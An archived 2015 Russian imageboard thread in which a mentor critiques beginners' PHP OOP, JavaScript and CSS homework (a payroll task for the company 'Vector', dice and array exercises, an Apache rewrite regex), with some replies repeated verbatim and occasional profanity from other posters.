Ты говоришь что замечания можно исправлять бесконечно, но есть люди которые с ними со всеми разобрались.
Возможно тут есть непонимание. Возможно ты подумал что главное написать приложение которое соответствует описанию, а какой в нем код это не важно. Но это не так. Мы делаем задачу на файлообменник не для того чтобы иметь возможность пересылать файлы.
Цель этих 2 задач, про студентов и файлообменник, это научиться тем вещам которые используются в реальных приложениях (MVC, шаблоны, работа с формами, с БД. уязвимости, микрофреймворки). К задаче даны комментарии + если что-то не так, я пишу что именно не так и что надо исправить.
По поводу задачи на Вектор. Это задача не на архитектуру, а на знание ООП, то есть на знание языка PHP (ООП это часть языка). От тебя требуется лишь определить какие в задаче должны быть классы, поля, методы.
---------
Когда ты решаешь задачу на ООП, ты должен ответить на вопросы:
— какие есть сущности, для которых мы сделаем классы? (Сотрудник и Департамент)
— какие у них есть свойства (у Сотрудника есть ранг, базовая ставка, профессия, является ли боссом). Потребление кофе или зарплата не являются свойствами так как они вычисляются из других свойств и хранить их не надо.
— что мы хотим от них получить (какие у них должны быть методы). Например мы хотим узнать сколько сотрудник заработал или сколько он пьет кофе. От департамента мы наверно хотим получить сколько всего выпито кофе и заплачено денег.
— как сущности связаны? Очевидно, Сотрудник работает в каком-то Департаменте.
Также, сразу скажу еще один совет: гораздо удобнее сделать не один класс Сотрудник, а 4 класса: Инженер, Менеджер, и т.д. Тогда мы можем легко менять например правила расчет зарплаты или кофе для каждой профессии. Естественно, копипастить одинаковый код в 4 класса не надо — создай базовый абстрактный класс Сотрудник и унаследуй от него 4 класса-профессии.
Наследование позволяет создавать класс не с нуля. а расширяя сущетсвующий класс: http://php.net/manual/ru/language.oop5.inheritance.php
«Абстрактный» — это класс, объект которого нельзя создать. Он предназначен для наследования от него других классов: http://php.net/manual/ru/language.oop5.abstract.php
------------
Теперь посмотрим на твой код. Ты спроектировал код так, что например, если мы поменяем сотруднику ранг, его зарплата никак не изменится. Это надо поменять. Также держи вторую часть задачи. Эту вторую часть я даю всем, чтобы проверить насколько гибок их код, насколько его просто менять под требования заказчика. Если код спроектирован правильно то вторая часть решается легко и быстро.
------------
### Антикризисные меры
Задание: напиши программу для учета расходов и результатов работы всего дружного коддектива компании «Вектор».
Пока ты решал задачу по выводу отчета о сотрудниках и департаментах, разразился мировой экономический кризис. Доходы компании начали снижаться, и совет директоров поставил перед руководством задачу принять меры. Менеджеры 3-го ранга, блестящие выпускники топовых экономических вузов столицы, быстро смогли разработать три альтернативных антикризисных решения:
1. Сократить в каждом департаменте 40% (округляя в большую сторону) инженеров, преимущественно самого низкого ранга. Если инженер является боссом, вместо него надо уволить другого инженера, не босса.
2. Увеличить в целях стимуляции умственной деятельности базовую ставку аналитика с 800 до 1100 тугриков, а количество выпиваемого им кофе с 50 до 75 литров. В тех департаментах, где руководитель не является аналитиком, заменить его на аналитика самого высшего ранга из этого департамента (а бывшего руководителя вернуть к обычной работе)
3. В каждом департаменте повысить 50% (округляя в большую сторону) менеджеров 1-го и 2-го ранга на один ранг с целью расширить их полномочия.
Совет директоров в затруднении: какой путь выбрать? Помоги им с этим, распечатав прогноз по потреблению и расходам (аналогичный тому что требуется в задаче) после принятия каждой из мер.
------------
> Затем ты пишешь простыню с мутными замечаниями, которые тоже хуй знает как исправлят
Я не знаю какой у тебя уровень знаний. Если тебе что-то непонятно, можно что-то переспросить. У меня нет цели запутать.
Вдобавок, у нас есть люди которые пропускают задачи, они думают что последняя задача, самая сложная и охватывает все темы и достаточно решить только ее. Это разумеется не так, пропуская задачи они не получают важные знания, и в итоге вообще ничего не решают. Таким людям я советую вернуться и решить сначала предыдущие задачи.
Еще замечания по твоему коду:
В ООП если у ты меняешь свойство (например ранг), от которого зависят другие, то они должны пересчитываться. лучший способ решить эту проблему это заменить такие зависящие от других свойства на методы. Например вместо свойства зарплата сделать метод ее вычисления.
> switch ($profession) {
> case 'manager':
Это магические строки, их надо заменить на константы класса. Константы делают код понятнее и защищают от опечаток.
> default: exit("Profession \"$profession\" not found.");
В мире ООП для этого используют исключения: default: exit("Profession \"$profession\" not found.");
> $report->salary += $employee[0]->salary * $employee[1];
Во-первых, [0] абсолютно нечитаемо, что значит 0? Как догадаться? как минимум надо тут исплоьзовать строку а не число в качестве индекса.
Также, это неудачная схема. Как в твоей схеме поменять зарплату только одному работнику? Ты как-то все переусложнил, лучше сделать по-простому, то есть в департаменте сделать массив объектов работников и если там работает 10 менеджеров то создать и положить туда 10 объектов.
Еще ошибка в том что ты один объект кладешь в несколько департаментов. Ну сам подумай, где тут логика? Один работник работает и там и там одновременно? Нет, там разные работники значит нужны разные объекты потому что иначе мы например не сможем их независимо повышать или наказывать.
Далее, я могу смириться с публичными свойствами вроде ранга, но массив работников сложной структуры не должен быть публичными. Ибо это пости 100% вероятность что в него запишут что-нибудь не то. Должны быть методы добавления и увольнения работников, а сам массив надо сделать приватным.
Класс Report имеет очень абстрактное название, кажется что это класс для любых видов отчетов. Но на самом деле, он используется только для отчета по работникам потому логичнее его назвать EmployeeReport.
Еще мне кажется, компания тут это отдельная сущность, почему бы и для нее класс не сделать?
Ну и еще мелочь, таблица у тебя какая-то перекошенная, надо будет над ней поработать, там вроде в примечании к задаче написано как это делать.
Если есть какие-то вопросы, задавай.
Анон, а ты HTML/CSS изучил? Отладчиком в браузере умеешь пользоваться? Если нет, то придется сначала изучить, а потом вернуться к интересующей тебя проблеме.
Если да, то давай конкретные подробности как сверстан блок и какие свойства ведут себя не так, как должны.
Урок по исключениям забыл дать: https://gist.github.com/codedokode/65d43ca5ac95c762bc1a (ловить их не требуется требуется только выбрасывать в твоем случае)
>если там работает 10 менеджеров то создать и положить туда 10 объектов
А если 173? Создавать 173 экземпляра объекта?
Нет, мне кажется, департаменты должны заполняться работниками в конструкторе в зависимости от переданного конфига.
Ну хорошо, я подумаю, ты натолкнул меня на некоторые мысли.
>>551347
Мне надоело быть начинающим, уже почти год я этим маюсь.
Да, 173, а почему нет? Если это действительно разные люди, у них разный опыт, разный график работы, ухода в отпуск и тд. Если бы они были одинаковые, может быть и можно было бы как-то хранить только количество и профессию, а для расчета сделать отдельные функции.
Вообще проще всего делать 1 работник = 1 объект. Ты пытаешься это оптимизировать и переусложнить, хотя такого требования нет. И вторую часть задачи с твоим подходом не реализовать.
Буэээ: https://jsfiddle.net/wv2L7oog/1/
Надо чтобы твои примечания работали в любом тексте а не только содержащем p. Также не очень понял зачем margin-top на первом элементе? Ты пытаешься компенсировать margin-top у p? А что если после примечания идет не p, а h1-h6? Элемент без маргин-топа? Гм, хороший вопрос я придумал, как же это сделать правильно.
Прочитай также комментарий к задаче (или может он в другой задаче) про маргины и паддинги.
> 1) Задача на броски кубиков
> } else {
> ($anonSum < $compSum);
Что это значит? Это не идет после if и потому ни на что не влияет, зачем тогда писать? Такое выражение, результат которого не используется, PHP просто посчитает и выбросит результат. Ну то есть он сравнит числа и выбросит результат так как ты его не сохранил никуда и не использовал вместе с if
else не требует условия так как это «иначе», он выполняется если ни одно из условий в if/elseif не сработало.
> if (($anonDice1 == $compDice1) && ($anonDice2 == $compDice2)) {
Немного непраивльно, дабл это когда у одного участника 2 одинаковых числа
> 2) Рулетка
Ок, верно
> 3) Про рост анона
Правильно
> 4) Вопрос и варианты ответа (массивы)
Ок, все хорошо
> 5) Шифровка и дешифровка (там, кстати, я так и не понял, как использовать array_flip, поясните плиз)
> Как это использовать?
Подумай, вообще ты не обязан это использовать и можешь сделать по-своему
> Почему выдает Array?
Потому что в $code хранится массив, а echo не позволяет выводить массивы, оно выводит только строки и числа. Чтобы вывести содержимое массива, напиши цикл или var_dump($code);
Шифрование — ок, а вот расшифровку надо доделать.
> 6) Генератор стихов (почему-то иногда пропадают некоторые слова)
> mt_rand(1, count($word1)
Индексы в массиве начинаются с нуля а не единицы
Обрати внимание, по этой же причине там ошибка:
> PHP Notice: Undefined offset: 4 in /home/9A6BwE/prog.php on line 20
У тебя иногда выпадает слишком большой индекс которого нет в массиве.
> 7) Айпад и кредит
> $totalAmount += ...
> $creditSum -= ...
Это повторяется 2 раза. Попробуй избавиться от повторения. После этого попробуй избавиться от if, заменив его на max или min.
>>551230
> Задание 6 - пофиксил.
Теперь все верно.
>>551298
Фаулер - паттерны проектированяи корпоративных приложений
Совершенный код
Если ты не знаком, то познакомься с Симфони 2. Ну и JS фреймворки можешь поизучать.
> 1) Задача на броски кубиков
> } else {
> ($anonSum < $compSum);
Что это значит? Это не идет после if и потому ни на что не влияет, зачем тогда писать? Такое выражение, результат которого не используется, PHP просто посчитает и выбросит результат. Ну то есть он сравнит числа и выбросит результат так как ты его не сохранил никуда и не использовал вместе с if
else не требует условия так как это «иначе», он выполняется если ни одно из условий в if/elseif не сработало.
> if (($anonDice1 == $compDice1) && ($anonDice2 == $compDice2)) {
Немного непраивльно, дабл это когда у одного участника 2 одинаковых числа
> 2) Рулетка
Ок, верно
> 3) Про рост анона
Правильно
> 4) Вопрос и варианты ответа (массивы)
Ок, все хорошо
> 5) Шифровка и дешифровка (там, кстати, я так и не понял, как использовать array_flip, поясните плиз)
> Как это использовать?
Подумай, вообще ты не обязан это использовать и можешь сделать по-своему
> Почему выдает Array?
Потому что в $code хранится массив, а echo не позволяет выводить массивы, оно выводит только строки и числа. Чтобы вывести содержимое массива, напиши цикл или var_dump($code);
Шифрование — ок, а вот расшифровку надо доделать.
> 6) Генератор стихов (почему-то иногда пропадают некоторые слова)
> mt_rand(1, count($word1)
Индексы в массиве начинаются с нуля а не единицы
Обрати внимание, по этой же причине там ошибка:
> PHP Notice: Undefined offset: 4 in /home/9A6BwE/prog.php on line 20
У тебя иногда выпадает слишком большой индекс которого нет в массиве.
> 7) Айпад и кредит
> $totalAmount += ...
> $creditSum -= ...
Это повторяется 2 раза. Попробуй избавиться от повторения. После этого попробуй избавиться от if, заменив его на max или min.
>>551230
> Задание 6 - пофиксил.
Теперь все верно.
>>551298
Фаулер - паттерны проектированяи корпоративных приложений
Совершенный код
Если ты не знаком, то познакомься с Симфони 2. Ну и JS фреймворки можешь поизучать.
Советую вместо alert использовать console.log, а то руки отвалятся на кнопку жать.
>>551008
> Если в урл попадает точка либо любой другой спец символ апач отдает 404, а надо чтобы обрабатывал.
Ну так в твоей регулярке нет ни точки ни какого-то другого спецсимвола
> Так же, пробовал добавлять а-Я
Так нельзя, нет гарантии что большие буквы идут после маленьких, надо писать а-яёА-ЯЁ (ё идет отдельно от алфавита).
> то апач отдает крякозябры
Не понял, опиши подробнее что происходит.
И кстати, я не понял зачем у тебя там регулярка? Почему бы просто любые обращения которые не соответствуют файлам, не перенаправить на index.php? Опиши подробнее постановку задачи.
>>551056
> Следовательно незнакомые мне слова будут являться устаревшими
Нет. Ты вряд ли наизусть знаешь все современные слова так как разговорный запас человека ограничен.
> то просмотрю вручную и выберу десяток-два.
Это неправильно и неэффективно
> Если больше сотни, имеет смысл спарсить старинный словарь, спарсить современный словарь, а затем вычислить дельту, то есть расхождение между первым и вторым.
Я думаю надо вычислить дельту между словарем 15 и 18 веков.Это скорее всего и есть правильный ответ. И разумеется вручную делать это долго и неэффективно.
>>551060
Другая, эта капча издевательство над людьми
Советую вместо alert использовать console.log, а то руки отвалятся на кнопку жать.
>>551008
> Если в урл попадает точка либо любой другой спец символ апач отдает 404, а надо чтобы обрабатывал.
Ну так в твоей регулярке нет ни точки ни какого-то другого спецсимвола
> Так же, пробовал добавлять а-Я
Так нельзя, нет гарантии что большие буквы идут после маленьких, надо писать а-яёА-ЯЁ (ё идет отдельно от алфавита).
> то апач отдает крякозябры
Не понял, опиши подробнее что происходит.
И кстати, я не понял зачем у тебя там регулярка? Почему бы просто любые обращения которые не соответствуют файлам, не перенаправить на index.php? Опиши подробнее постановку задачи.
>>551056
> Следовательно незнакомые мне слова будут являться устаревшими
Нет. Ты вряд ли наизусть знаешь все современные слова так как разговорный запас человека ограничен.
> то просмотрю вручную и выберу десяток-два.
Это неправильно и неэффективно
> Если больше сотни, имеет смысл спарсить старинный словарь, спарсить современный словарь, а затем вычислить дельту, то есть расхождение между первым и вторым.
Я думаю надо вычислить дельту между словарем 15 и 18 веков.Это скорее всего и есть правильный ответ. И разумеется вручную делать это долго и неэффективно.
>>551060
Другая, эта капча издевательство над людьми
Это стоит спросить у техподдержки сервиса.
>>550687
Я заметил что у тебя нет модели поля (то есть например массива с информацией о состоянии ячеек), а ты хранишь все в DOM. В простых случаях это упрощает код, но в более сложных делает его запутаннее, и сложность этой задачи приближается к тому моменту когда модель становится нужна.
Также, стоит вынести все стили в CSS а в JS коде работать только с классами.
Также, получение элементов (getElementBy...) стоит вынести из кода отдельно.
> table {
А это не помешает если мы на страницу какую-то другую таблицу захотим добавить, например таблицу рекордов? Я думаю, хоть тут и нет дру.....
Читать дальше: http://pastebin.com/MRBMwW54 (спам фильтр не пропустил)
Мне надо смайлик тенниса из ВК запихать в базу. В принципе похуй на смайлик, но сука текст иногда обрезается из-за всякой хуйни и из похапэ не сравнить вот так: ==
Ща юзаю utf8md4 или хуй знает что с сотней костылей. Что делать блять? Инглиш непонимаю, русичи, помогите бля
Хотя похуй, на костылях доеду подикась
Это копия, сохраненная 22 октября 2015 года.
Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее
Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.